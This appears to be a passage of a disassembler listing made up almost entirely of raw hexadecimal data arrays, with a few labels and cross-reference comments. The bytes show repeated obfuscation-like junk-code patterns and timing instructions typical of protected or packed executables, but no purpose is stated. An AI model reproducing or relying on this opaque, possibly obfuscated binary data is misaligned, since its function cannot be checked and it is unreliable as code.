0C3564600h, 15D5E389h, 0C57E557Dh, 68B0F0Ch, 29000000h dd 0E0169D85h, 0BF0F6007h, 8E8D7h, 37670000h, 9718CA6Ch dd 0B5030C70h, 7E010D9h, 6A615Bh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0E9C35242h, 7670C19Ch, 699ECC35h dd 17FBDFBFh, 4195FF7Ah, 6A07E034h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 1B14C352h dd 2A2DE1D4h, 8BB67F1Dh, 938D8DF8h, 6A07E3A3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0D14EC353h, 68F0Fh, 0C7810000h, 2C061DD3h, 8E8D1FFh dd 0CD000000h, 5297592h, 5B9C0363h, 16B1BD83h, 0F0107E0h dd 5785h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 642E449Ah, 0BF0FE346h, 29026ADAh dd 0E02B75BDh, 8B665007h, 240489D9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 8CC35343h, 95FF1CB7h, 7E02A99h dd 0D91E9h, 0E800h, 815D0000h, 0E4832AEDh, 19D2307h, 0F07E01Bh dd 85h, 858DFC00h, 7E39463h, 0E890F98Bh, 5, 0A5BA5D6Ch dd 665250F4h, 310FD88Bh, 505F585Ah, 12E8h, 0F9EB5800h dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 564B967Dh, 7FCDBF66h dd 6A905F5Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 16042444h, 42000000h, 5F2DC352h, 0B19D8B15h, 6407E013h dd 35FFh, 81660000h, 64462BE3h, 2589h, 81660000h, 0FFB194EBh dd 0E020FD85h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0FB840491h, 95FE47CFh dd 0DE8B6619h, 6AFF6Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 10E73FC3h, 53C2A459h, 0F5B5FF0Ch dd 6A07E01Bh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 7130C352h, 0C53D341Dh, 880F0AC9h dd 13h, 7E8h, 458DE700h, 0A12D6E57h, 1A35BD8Bh, 0FF5B07E0h dd 0E0338995h, 127E907h, 13E90000h, 29000000h, 0EF108D68h dd 2FC19596h, 46F5B6EBh, 2C1D1952h, 0C781FE00h, 3B58BAEDh dd 0E6F900B0h, 71BD0370h, 0E407E020h, 37E38171h, 3C657768h dd 0EE830F61h, 66000000h, 5EC5EF81h, 189DBD8Bh, 0B60F07E0h dd 6BAC8h, 9D890000h, 7E016D9h, 0BB66C18Bh, 0E8C18FABh dd 0AE904h, 67BF0000h, 0D912563h, 200000Eh, 89E2F766h dd 0E01C9195h, 8BC82B07h, 0E0210D9Dh, 60D18B07h, 821B533h dd 0B70F07E0h, 8D8961DEh, 7E010EDh, 6E9h, 11B58900h, 8B07E016h dd 0E033A585h, 7C08307h, 6810Fh, 85890000h, 7E0242Dh, 0E800C083h dd 6, 2A1D376Eh, 858957ADh, 7E01A01h, 1A18BB5Fh, 0D03B4E66h dd 12830Fh, 66570000h, 7579DB81h, 4BE95Fh, 0BD8B0000h dd 7E0004Dh, 0E18D8Bh, 858907E0h, 7E025DDh, 0F01E183h dd 3084h, 0EDBD8900h, 8907E008h, 0E01D9DB5h, 0E1A58307h dd 0FE07E000h, 9B4BBF66h, 33A59589h, 810F07E0h, 2, 8D8911B7h dd 7E02631h, 0E9h, 0EDB58D00h, 6A07E40Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0DCFEC353h dd 66853077h, 6A1DEDBBh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 9E50A51Eh, 0F98B6605h dd 7699D89h, 95FF07E0h, 7E018A9h, 7059D8Bh, 0A1B907E0h dd 6A000008h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0D343C351h, 66E0DE2Ch, 8B5388E3h dd 0E013959Dh, 0E1835F07h, 52006AFCh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 976CD27Dh dd 721971F4h, 6AFC55h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0B884C3h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0DB54C355h dd 2AB9BD89h, 52BB07E0h, 0BA335AE4h, 0 dd 0ADFA8B66h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 72CBC353h, 0CDB45C3Fh, 33EEF6BDh, 0E031B9BDh, 0CE907h dd 6BC50000h, 6F160786h, 0EBB7A50Fh, 9D8BD75Eh, 7E02945h dd 6820Fh, 0BD330000h, 7E02945h, 880Dh, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 3334212h, 86EAEE2Ch, 22E99D8Bh, 958B07E0h, 7E01815h dd 8400BF66h, 8E0Fh, 8D8B0000h, 7E02049h, 20A9BD8Bh, 8B5007E0h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 6A8DE380h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 0BB9FC353h, 4BCA51F3h, 89FC85C1h, 0E02E85B5h dd 0F5BD8307h, 7E012h, 67840Fh, 95310000h, 7E001F5h, 0D98D8960h dd 0F07E016h, 0B861CAB7h, 0 dd 1435B589h, 8D8D07E0h, 7E04EE8h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 0F1C35040h, 6AE1FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0C470DC3h, 8BC87A5Fh, 0FC6AC2BFh, 0C5BD835Eh, 7E022h dd 433840Fh, 0BD830000h, 7E022C5h, 41840F01h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0D187C356h, 0F15DED00h, 83F9B70Fh, 0E022C5BDh dd 860F0307h, 3DAh, 255D9D23h, 816607E0h, 60DA33DFh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4AC35040h, 8531E1D8h dd 7E00571h, 0F398D29h, 8C6607E0h, 52006AD9h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 22EB0BDBh dd 0E180511Eh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 1FC4EF6Eh, 13E8B28Ah dd 0A2000000h, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h dd 0B5899D17h, 7E00829h, 0FC90A5Fh, 11184h, 0C9BD0300h dd 8B07E030h, 0E0339985h, 850F07h, 33000000h, 0E0318985h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 8B66902Ah, 536050DEh, 0B85A6160h, 5863C87Fh dd 8E89061h, 3E000000h, 30D6E853h, 667771AAh, 8B5FFE8Bh dd 0E028B9BDh, 0E8006A07h, 4, 1F03FFh, 7CA32DBBh, 7E95042h dd 0ED000000h, 0A2A05237h, 448BA0C4h, 0BB660424h, 8BC16Bh dd 10E952h, 51B70000h, 8D437B26h, 2146C2C9h, 50F5F0B4h dd 895B638Eh, 0F042444h, 80h, 6A5800h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 2CEBFDC3h dd 64CA30B6h, 0F8BF0F62h, 21CD95FFh, 6A07E0h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0B11ADBC3h dd 85CCCA28h, 0CBAD8589h, 816607E3h, 0E97446EBh, 18Fh dd 9E9h, 224C8300h, 20C07429h, 858BB8FEh, 7E3CBA5h, 1800C7FCh dd 8B000000h, 0E01069BDh, 0A9B58B07h, 8107E3CBh, 71FFFBCFh dd 0F9858B58h, 6A07E005h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 309DC352h, 0C98589EBh dd 8907E023h, 699D8B06h, 307E01Ah, 0E031259Dh, 99858B07h dd 0F07E033h, 4689D8BFh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 5ED7D756h, 0D9BD8B6Bh dd 5007E004h, 25BFBF66h, 31243489h, 0E0169D8Dh, 0A5B5FF07h dd 6007E3CBh, 0FDEB70Fh, 0E861C2BFh, 4, 1F03FFh, 5E8h dd 70374B00h, 9E92D6Ch, 95000000h, 2337C447h, 6B17901Ch dword_595250 dd 0CDBF505Fh ; DATA XREF: ___:00444AC0o db 4Fh byte_595255 db 16h, 13h, 8Bh ; DATA XREF: ___:00444A94o dd 50042444h, 0DF8B6652h, 8E0F310Fh, 6, 310F5250h, 585A585Ah dd 0BE8008Bh, 0DE000000h, 0D27E58BAh, 0D374322Fh, 0B560768Fh dd 895B6136h, 0E8042444h, 0Dh, 595365B2h, 59694915h, 37C14D53h dd 48E0F96h, 66000000h, 5FC1D1BFh, 0BDBD2358h, 8D07E005h dd 0E3CBAD85h, 7860F07h, 0F000000h, 18Fh, 5050F800h, 60525052h dd 0B7310F61h, 0F585AEDh, 6E95331h, 14000000h, 0B5E88862h dd 585A5BD0h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 2BF8C357h, 0D78094E2h dd 0CD95FF12h, 6107E021h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 3CC35747h, 11E9367Dh, 0A1000000h, 2F5AACCh dd 0F787BF85h, 0FAFD6642h, 0F22DF9DDh, 22C585C7h db 0E0h byte_595345 db 7, 3, 0 ; DATA XREF: ___:00444A8Co ; ___:00444D74o dd 0CBBF0000h, 8316FE51h, 0E3CBADBDh, 840F0007h, 52h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 82C35545h, 0EE4D2EDFh dd 152DDA59h, 21BD8BC5h, 0E907E000h, 3Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ah, 3C35040h, 0B1998C57h dd 3050536Dh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1504h, 0C3564600h, 0DC8A5D43h, 22C5BD83h, 0F0307E0h dd 3DC85h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 93C61745h, 0BFD99B29h, 3015BD89h dd 0BD8307E0h, 7E3CBADh, 0A6840F00h, 53000003h, 0B5FF5FF8h dd 7E3CBADh, 2ACD9D8Bh, 95FF07E0h, 7E01DA9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DFC35646h, 0A1B58B59h dd 8B07E3CBh, 0E0344D9Dh, 106C707h, 81000100h, 0F782E7D3h dd 8E99669h, 9E000000h, 153BA8A6h, 506274C3h, 8018BB66h dd 12E896h, 3B580000h, 0EFFC4265h, 2D5A2E42h, 8C739695h dd 0CEBE5755h, 6B5BD8Bh, 0FF5B07E0h, 0E3CBADB5h, 0CB97BF07h dd 0EB816A26h, 0CE8A49Bh, 301195FFh, 6A07E0h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 9E946BC3h dd 0A1999C21h, 8B0178D7h, 0E3CBA1B5h, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 4E25FE57h, 8B66A5C7h, 0D1858BFAh, 8107E022h, 6BFFE3E7h dd 0C486891Bh, 80000000h, 958B34D3h, 7E01815h, 0C75951BFh dd 4C28371h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 0DC35141h, 0CA8B7D9Bh, 958903CDh, 7E02D25h, 88DB529h dd 508907E0h, 0DB816620h, 858DEB90h, 7E3E0D4h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DAC35747h, 553D1D8h dd 0BD8B8275h, 7E021E1h, 0B88689h, 6A0000h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DEC35242h, 0E53180BCh dd 0B5FFFE8Bh, 7E3CBADh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 6C35646h, 0BD957ACAh, 5E960h, 665D0000h dd 0E8B96606h, 0Ch, 362BBC37h, 75D45FE6h, 0BC2251BBh, 71615AB8h dd 0FF615F10h, 0E02A9995h, 0CF816607h, 8B5019A3h, 243489DAh dd 0B5FFD98Bh, 7E3CBADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E6C35343h, 28E995FFh, 6A07E0h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 8DFCCC3h, 0F4B10E0Ch, 18BD8589h, 0BD8307E0h, 7E028E1h dd 41840F00h, 89000000h, 0E00589B5h, 7E89607h, 15000000h dd 2EF20BD4h, 0FE8C44Ah, 3B000000h, 0F35E6F3Fh, 2E070E8Ah dd 0C9C01385h, 0DE8B6D3Fh, 66505F5Bh, 96550BBBh, 9E8h dd 3A88D400h, 0DF5D5B74h, 5BF9D093h, 0CBADB5FFh, 6A07E3h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 8BE8CEC3h, 8B12FC17h, 0E018919Dh, 3595FF07h, 6A07E030h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E4F1C356h, 0A2BC60FDh, 5E5DA888h, 0CBADB5FFh dd 95FF07E3h, 7E001B9h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 8DC35040h, 4A8FD7DEh, 0BF663D6Bh, 0BD83BC80h dd 7E00731h, 44840F02h, 8B000000h, 0E014AD9Dh, 2CD38107h dd 8B70CD52h, 0E0203985h, 57D88B07h, 0CDBD8B60h, 8907E01Fh dd 0E01AE5BDh, 0C65F6107h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0C7C3E5C3h dd 0E0043D85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 1584AE97h, 43875BD6h dd 0BE939h, 9DDD0000h, 0CF886F59h, 0E6BF9E6Ah, 0F382E946h dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 67A6B7C3h, 56EE2050h, 810F92DFh, 0 dd 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 7C497C3h, 4B8361F4h, 8A87CB81h, 858D25E3h dd 7E013C9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 16C35747h, 8DAE5E10h, 95891306h, 7E01C05h, 0FE8B6650h dd 8B240489h, 6A006AFBh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 325BC357h, 9589DA8Bh dd 7E0058Dh, 8166006Ah, 8064B5EFh, 858D74E7h, 7E49247h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 70C35141h dd 83ED6672h, 0F9005C0h, 38Ch, 0DE8B6600h, 5850F50h, 0BB000000h dd 20E15EB8h, 81006A90h, 0AC09BDE7h, 0BF006A27h, 3CC7E7FDh dd 344195FFh, 890F07E0h, 6, 315DB529h, 8D8D07E0h, 7E3A393h dd 2880F60h, 8B000000h, 10E9D0h, 0F2420000h, 7B31DEDFh dd 305DD2B4h, 40211A2Bh, 0FF617585h, 52006AD1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0C1618283h dd 799D0143h, 8307E010h, 0E016B1BDh, 850F0107h, 6Fh, 0CE9h dd 0CFE8E200h, 0B20379CAh, 96AC0A2Eh, 6A026A84h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0BA8BC351h, 0E5E0B3C3h, 27A1C94Ah, 5B5750F8h, 0E9240489h dd 0Ah, 0EC00CA84h, 9E521DAFh, 95FF9917h, 7E02A99h, 11E9h dd 0A71E0000h, 0E34E49E0h, 0DDCFF130h, 9212217Ch, 0C1BF4C54h dd 0E91D8941h, 0DF7h, 0E8h, 0ED815D00h, 7E49251h, 268D9D89h dd 9D8907E0h, 7E0260Dh, 9463858Dh, 6A07E3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 587421C3h dd 30658D89h, 50FC07E0h, 0CCA0A8BFh, 24048901h, 0B9CFCDBFh dd 35FF647Dh, 0 aInRDi db '‰',9,9,'à',7,'d‰%',0 align 4 dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0D1015957h, 0B3A39FAh, 89515768h, 0E0345D9Dh dd 0FF5B5B07h, 0E020FD85h, 79958907h, 6A07E02Ah, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0C58D67F9h, 0AEFF6E19h, 8B66555Ch, 0DDB5FFD9h, 0F507E020h dd 338995FFh, 19E907E0h, 29000001h, 0E0208595h, 8900B007h dd 0E026518Dh, 8170E607h, 3B1BDCD7h, 0F71E47Dh, 0C80h dd 68B0F00h, 8B000000h, 0E000D9BDh, 0F613C07h, 0E783h dd 0B19D8B00h, 0F07E005h, 0AE9C8B6h, 0B000000h, 85B1218Dh dd 0FBBDF06Ch, 6BA66h, 95890000h, 7E00DF9h, 0E860C18Bh dd 9, 0BFA4B4B5h, 0DA2375ACh, 0F08B66BFh, 0A5B96658h, 0E8C1612Ch dd 2DBB6604h, 81666091h, 89ACA0D3h, 0E021E185h, 0F7666107h dd 519D8BE2h, 2B07E02Ch, 0C38166C8h, 0D18BCC39h, 130D8529h dd 5E907E0h, 0BF000000h, 509981E9h, 8B1858Bh, 8D0907E0h dd 7E02D2Dh, 8907C083h, 0E031859Dh, 0C08307h, 108D9D89h dd 0D03B07E0h, 7830Fh, 49E90000h, 0B7000000h, 1D8D8B71h dd 0F07E01Bh, 481h, 61605700h, 68A0F5Bh, 33000000h, 0E02B6D9Dh dd 1E18307h, 22840Fh, 9D030000h, 7E010C1h, 1B1DA583h, 66FE07E0h dd 89FE98BBh, 0E008B195h, 0F2D78107h, 0E9325B12h, 0 dd 1741B58Dh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 8B310EC3h, 94FD70AEh, 800F86F8h dd 6, 11F1BD8Bh, 9D8B07E0h, 7E01D39h, 0FFF8006Ah, 0E018A995h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 78DC19B3h, 1DBD03CCh, 8907E01Dh, 0E01AE5B5h dd 8A2B907h, 82BB0000h, 831F283Ch, 6AFCE1h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 9D89C6C3h dd 94D8276Dh, 0EDBD8B15h, 0FC07E02Eh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0D0C35040h, 0BD8B51F7h, 7E03199h dd 6860F5Bh, 8B000000h, 0E015819Dh, 0D59D2B07h, 0B807E031h dd 0 dd 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 0C0D249C3h, 120AACDEh, 33ADC28Dh, 3E8D1C2h dd 4E983D0h, 0BD03F475h, 7E00661h, 880Dh, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0AC22A18Ah, 5287B46Eh, 0CD9D8B90h, 8B07E033h, 0E0181595h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 9560EC43h, 7575B66Bh, 5E972h, 0E61F0000h dd 89E53226h, 0E02E2D8Dh, 498D8B07h, 8B07E020h, 0C28B50FBh dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0D879C357h, 9593B2A6h, 0BD8B54DCh, 7E03455h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B2C35343h, 62A14A4Dh dd 0FAB37DD3h, 1800Fh, 29FC0000h, 0E0088DBDh, 0F5BD8307h dd 7E012h, 8A840Fh, 95890000h, 7E01DADh, 0B8FCh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 3C70E7C3h, 66B69EE3h, 7CD3EF81h, 4EE88D8Dh, 6A07E0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 0E99D87C3h, 12h, 7EDF5284h, 0E5D8CE2Fh, 0C31278F2h dd 737A608Bh, 0C3818490h, 18A45130h, 11E9E1FFh, 78000000h dd 16FB0D2Ch, 7441CB3Bh, 0FB6E5D38h, 0E2BE23F9h, 22C5BD83h dd 0F0007E0h, 4D284h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 897A56E3h, 0C5BD8319h dd 107E022h, 4C0840Fh, 83F80000h, 0E022C5BDh, 860F0307h dd 47Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0C8C35646h, 8654FC81h, 75958960h, 8907E034h, 0E0193185h dd 850F6107h, 0Bh, 6E9h, 63CCA800h, 603594B8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DAC35646h, 75AF147Ch dd 66FCDEA4h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0B5419AC3h, 0BD8B388Fh, 7E00855h dd 6A04E180h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 6580C353h, 76F93479h, 0FC90A3Ch dd 18A84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 747FEBE6h, 21B509CEh, 8B07E00Eh dd 0E01B759Dh, 99858B07h, 3107E033h, 0E01689BDh, 89853307h dd 6A07E031h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 5245C350h, 91323AD6h, 812F957Ch dd 826B32CBh, 50605057h, 12E852h, 0D24B0000h, 8DDA395Ah dd 0CAB3CDFAh, 4BB03B65h, 0EC02F2D7h, 50310F5Fh, 5A310F52h dd 0F585A58h, 583h, 0F84ABA00h, 89616BC9h, 6A2404h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0BEC291C3h, 0F99A6AF3h, 9D8BD6ECh, 7E01A01h, 0BD09006Ah dd 7E01911h, 4E8h, 1F03FF00h, 10E900h, 0B18D0000h, 75F730B9h dd 55EDC8FCh, 88082B2Eh, 6650786Eh, 448BDF8Bh, 83B30424h dd 0BB66008Bh, 4489FABEh, 0F88B0424h, 558D0958h, 0FF07E014h dd 0E021CD95h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0BB66E475h, 8589FEDAh dd 7E3CBADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0C2C35141h, 41D9F56Bh, 2810Fh, 95B30000h, 0C9E95AB3h dd 6A000001h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0FB60C353h, 999D8BFBh, 8B07E00Fh dd 0E3CBA585h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 9401D2B0h, 7D8D31ECh dd 0C707E004h, 1800h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 3BC27CA8h, 0E0BF48C7h dd 0BB66C531h, 0B58B1C06h, 7E3CBA9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C8C35040h, 8E9E0h, 8AC80000h dd 98331175h, 0BD8B73B8h, 7E01571h, 5F9858Bh, 816607E0h dd 89CABCCBh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 8B0E6854h, 0E0339985h, 0AD9D8B07h dd 8907E02Dh, 0EB810446h, 1F52EE70h, 4890F50h, 66000000h dd 89ADADBBh, 9D8B2434h, 7E02129h, 85896060h, 7E01011h dd 68B0F61h, 0F000000h, 83h, 0B5FF6100h, 7E3CBA5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0ABC35040h, 0A79C2721h dd 68CAB35Eh, 0B6EF48C6h, 48D0F60h, 66000000h, 0E92CF5BEh dd 14h, 0B06746F0h, 0BED227C7h, 94733E83h, 0B9B1346h, 0CEB9772Bh dd 24048161h, 492FBB39h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 1EC35646h, 673CD488h, 2D7DDD96h, 0AD858DAEh dd 6607E3CBh, 0CFD0EF81h, 3692BB50h, 4892B31h, 698D0924h dd 8907E008h, 0E01B09BDh, 0CD95FF07h, 0BF07E021h, 1359A8A4h dd 0B59D8B61h, 0C707E015h, 0E022C585h, 307h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 54A7423Eh, 293125C3h, 0E0063995h, 0ADBD8307h, 7E3CBh dd 4E840Fh, 0FE90000h, 0DF000000h, 34538A76h, 6630C2DBh dd 0F96735B3h, 50E9A777h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0E81CC351h dd 2935BD29h, 0BD8B07E0h, 7E0129Dh, 6860Fh, 0BD8B0000h dd 7E005A5h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 6090C352h, 18F69FC9h, 1519CF3h dd 0E0306DB5h, 0BD835B07h, 7E022C5h, 0F2850F03h, 6A000003h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 6DC6C355h, 0BD830FA2h, 7E3CBADh, 0C6840F00h dd 66000003h, 0FFC4D8BFh, 0E3CBADB5h, 0A995FF07h, 8907E01Dh dd 0E01C5185h, 0A1B58B07h, 3107E3CBh, 0E0261185h, 106C707h dd 81000100h, 0DC3B94F3h, 50509662h, 0E9310F52h, 7, 7798089Bh dd 5A74837Ch, 6A9658h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 84BBB2C3h, 0CBADB5FFh, 6A07E3h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 95DB3DC3h, 52323534h, 0FFF55D2Dh, 0E0301195h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 7BB15F29h, 0BF0F0334h, 59D03FBh, 8907E017h, 0E012F99Dh dd 0A1B58B07h, 0E907E3CBh, 10h, 7D61A699h, 3E81FA89h, 80272561h dd 432EFDB2h, 22D1858Bh, 9D8B07E0h, 7E02B29h, 0C48689h dd 81660000h, 8B578DCFh, 0E0181595h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 344AFE22h dd 18798589h, 0C28307E0h, 68A0F04h, 29000000h, 0E01FC1BDh dd 20508907h, 16899D01h, 858D07E0h, 7E3E0D4h, 8689F88Bh dd 0B8h, 2AA1BD01h, 6A07E0h, 8B66DA8Bh, 0ADB5FFFBh, 6A07E3CBh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0F77AC351h, 89F5CB3Fh, 0E0122995h, 9995FF07h dd 107E02Ah, 0E031BDBDh, 8B669607h, 8B6650F9h, 0AE996FAh dd 0D3000000h, 16D9901Eh, 8E5E70F9h, 0ADB5FFC1h, 6A07E3CBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 1D35C353h, 5A6D0E90h, 8DBD8BF5h, 0FF07E025h dd 0E028E995h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0B4A933D0h, 0A6017478h dd 0D4CB8166h, 0F506072h, 84h, 83615F00h, 0E028E1BDh, 840F0007h dd 75h, 11E8h, 3175AA00h, 0AD5F7540h, 69A43E7Ah, 0FC473DEEh dd 0BD8B48A2h, 7E01951h, 13E95Bh, 4E820000h, 79A5F166h dd 8B23F4h, 7E6C4BE7h, 4457EB9Eh, 8A605015h, 0CE8FEh, 22760000h dd 29C14BBh, 7FDA63E6h, 0CE8B1AADh, 3489615Ah, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0AE28350Ah, 296141BBh, 0ADB5FF3Bh, 